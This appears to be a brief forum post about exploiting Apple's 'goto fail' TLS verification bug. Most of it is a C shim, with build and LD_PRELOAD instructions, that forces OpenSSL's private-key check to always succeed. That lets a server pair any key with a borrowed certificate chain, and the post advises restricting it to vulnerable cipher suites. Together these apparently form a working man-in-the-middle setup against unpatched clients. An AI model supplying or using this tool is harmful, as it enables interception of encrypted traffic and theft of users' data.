I forgot how hilariously trivial it was.
All one had to do was generate a private key of matching size and algorithm to use with the certificate chain, and restrict to vulnerable cipher suites.
/*To build:
gcc -shared -fPIC -o libgotofail.so gotofail.c
To use:
LD_PRELOAD=./libgotofail.so PROGRAM AND ARGUMENTS GO HERE
*/
#define _GNU_SOURCE
int X509_check_private_key(void *a, void *b) { return 1; }